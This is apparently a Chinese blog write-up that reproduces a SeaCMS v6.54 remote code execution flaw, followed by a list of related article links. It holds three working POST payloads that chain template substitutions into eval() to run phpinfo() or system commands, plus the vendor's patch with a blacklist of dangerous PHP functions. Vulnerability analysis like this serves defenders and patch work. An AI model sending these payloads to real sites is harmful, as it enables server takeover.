1.环境:

php5.5.38+apache+seacms v6.54

上一篇文章针对seacms v6.45 进行了分析,官方给出针对修复前台geishell提供的方法为增加:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

并且在v6.54中增加了对传入变量的长度限制,限制为20个字符之内,因此单一针对一个变量的绕过方法不满足长度要求,所以在该版本中才进行了多次替换绕过

每一次传进去的长度刚好20,思路挺不错的(当然小于此长度也可以)

但是在echoSearchPage()函数中声明的global变量并不是只有$order一个,可以利用其他的参数构造payload进入$content变量,从而导致代码执行,整个漏洞链构造流程环环相扣,最终聚焦在eval()函数上

2.poc1:

http://192.168.0.6/seacms654/search.php
POST:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

poc2:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan={searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=phpinfo();

poc3:

searchtype=5&searchword={if{searchpage:year}&year=:s{searchpage:area}}&area=y{searchpage:letter}&letter=st{searchpage:lang}&yuyan=em{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=whoami //命令执行

3.演示效果:

4.漏洞分析

因为最终利用的是parseif函数,并且要利用到global声明的变量,因此我选择在65行和214行下断点进行分析

执行payload,使用F8开始单步调试,我们关注以下7个变量的值:

从157行开始,利用从global声明的变量开始对$content中的内容进行替换

第1处替换:

首先使用$searchword变量的值进行了替换,可以看到替换以后与之前的对比

第2处替换:

将$year变量的值替换了进来

第3处替换:

将变量$area的值替换了进来,

第4处替换:

将变量$letter的值替换了进来

第5处替换:

将变量$yuyan的值替换了进来

第6处替换:

将$jq变量的值替换进来

第7处替换:

将$ver变量的值替换进来

触发远程代码执行,到此已经拼接成了完整的payload,此时$strIf的内容没有任何过滤就带入了eval函数执行!!!

eval(join($_POST[9]))

官方修复方法:

在parseIf函数中添加了黑名单,替换了一些敏感字符串

function parseIf($content){

        if (strpos($content,'{if:')=== false){

        return $content;

        }else{

        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");

        $labelRule2="{elseif";

        $labelRule3="{else}";

        preg_match_all($labelRule,$content,$iar);

foreach($iar as $v){

    $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);

代码审计之seacms v6.54 前台Getshell 复现分析的更多相关文章

  1. 代码审计之seacms v6.45 前台Getshell 复现分析

    1.环境: php5.5.38+apache+seacms v6.45 seacms目录结构: │─admin //后台管理目录 │ │─coplugins //已停用目录 │ │─ebak //帝国 ...

  2. 海洋cms v6.53 v6.54版本漏洞复现

    海洋cms v6.53 v6.54版本漏洞复现 参考链接: 今天发现freebuf上一篇海洋cms的漏洞,来复现一下. http://www.freebuf.com/vuls/150042.html ...

  3. PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

    PHPCMS9.6.0最新版中,由于/modules/attachment/attachments.php的过滤函数的缺陷导致了可以绕过它的过滤机制形成SQL注入漏洞,可导致数据库中数据泄漏. 而且在 ...

  4. eyoucms 前台 getshell 复现

    漏洞地址:http://www.sch01ar.com/index.php/api/Uploadify/preview 这样子说明存在漏洞 对 <?php phpinfo(); 进行 base6 ...

  5. 代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析

    本文首发于先知社区:https://xz.aliyun.com/t/5510 环境: php7.2+apache+laravel5.7 漏洞描述: Laravel Framework是Taylor O ...

  6. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  7. ShopEX 4.8.5.81822 前台Getshell

    ShopEX 4.8.5.81822 前台Getshell 作者:unhonker   发布:2014-06-23 00:12   分类:漏洞公布   被撸:8,179次   抢沙发     利用方式 ...

  8. phpcms v9 前台getshell脚本

    phpcms v9 前台getshell脚本 用法:python phpcmsv9getshell.py http://baidu.com # -*- coding:utf-8 -*- ''' --- ...

  9. PHP7CMS 无条件前台GETSHELL

    PHP7CMS 无条件前台GETSHELL Version:2018-10-09 //最新版中以修复此漏洞 这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的.   01 0 ...

随机推荐

  1. Spring中常用的设计模式之:代理模式

    看了tom老师讲的深入分析spring源码,讲的挺好,做个小总结 代理模式的定义: 为其他对象提供一种代理以控制对这个对象的访问.在某些情况下,一个对象不适合或者不能直接引用另一个对象,而代理对象可以 ...

  2. linux递归查找目录下所有文件夹以及文件

    相对于ls或者ll,可能find在这个时候更加给力 先看我的目录结构 tree命令是查看目录的结构,而且最后会列出所有的directory的数目以及文件夹的数目...好像我们接下来要做的就没有必要了, ...

  3. python eval内置函数作用

    功能:将字符串str当成有效的表达式来求值并返回计算结果. 语法: eval(source[, globals[, locals]]) -> value 参数: source:一个Python表 ...

  4. Python map学习笔记

    map是一个高阶用法,字面意义是映射,它的作用就是把一个数据结构映射成另外一种数据结构. map用法比较绕,最好是对基础数据结构很熟悉了再使用,比如列表,字典,序列化这些. map的基本语法如下: m ...

  5. Android 计算器制作 1.布局

    1.activity_main.xml文件布局 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/andr ...

  6. C++归并排序(数组&链表)

    1.归并排序(Merge Sort) 归并排序的性能不受输入数据的影响,始终都是O(n log n)的时间复杂度.代价是需要额外的内存空间. 归并排序是建立在归并操作上的一种有效的排序算法.该算法是采 ...

  7. 在STM32上如果不使用外部晶振,OSC_IN和OSC_OUT的接法

    如果使用内部RC振荡器而不使用外部晶振,请按照下面方法处理: 1)对于100脚或144脚的产品,OSC_IN应接地,OSC_OUT应悬空.2)对于少于100脚的产品,有2种接法:  2.1)OSC_I ...

  8. 日常系统维护之修复linux的grub引导

    恩,不知道怎么表达为win10的更新很烦人,其实我感觉windows用的不是那么顺手,但是制作视频的时候还是要用到,图片的话linux也可以胜任,毕竟GUN IMAGE还是挺不错的,但到了视频制作方面 ...

  9. NTP时间同步服务和DNS服务

    NTP服务是搭建集群的第一步,是保持时间的同步性,保持一致 服务端 首先下载 yum install ntp –y 而后打开配置文件 /etc/ntp.conf 配置文件里有很多内容,但只要留三行就足 ...

  10. ios系统保存校园网密码

    相信ios用户每次登陆时无法保存必须要重新输入账号密码的问题困扰了很多同学,特别是苹果5用户(不要问为什么,屏幕本来就小) 现在我们就一起想办法来解决它吧! 首先,我们进入设置->Safari浏 ...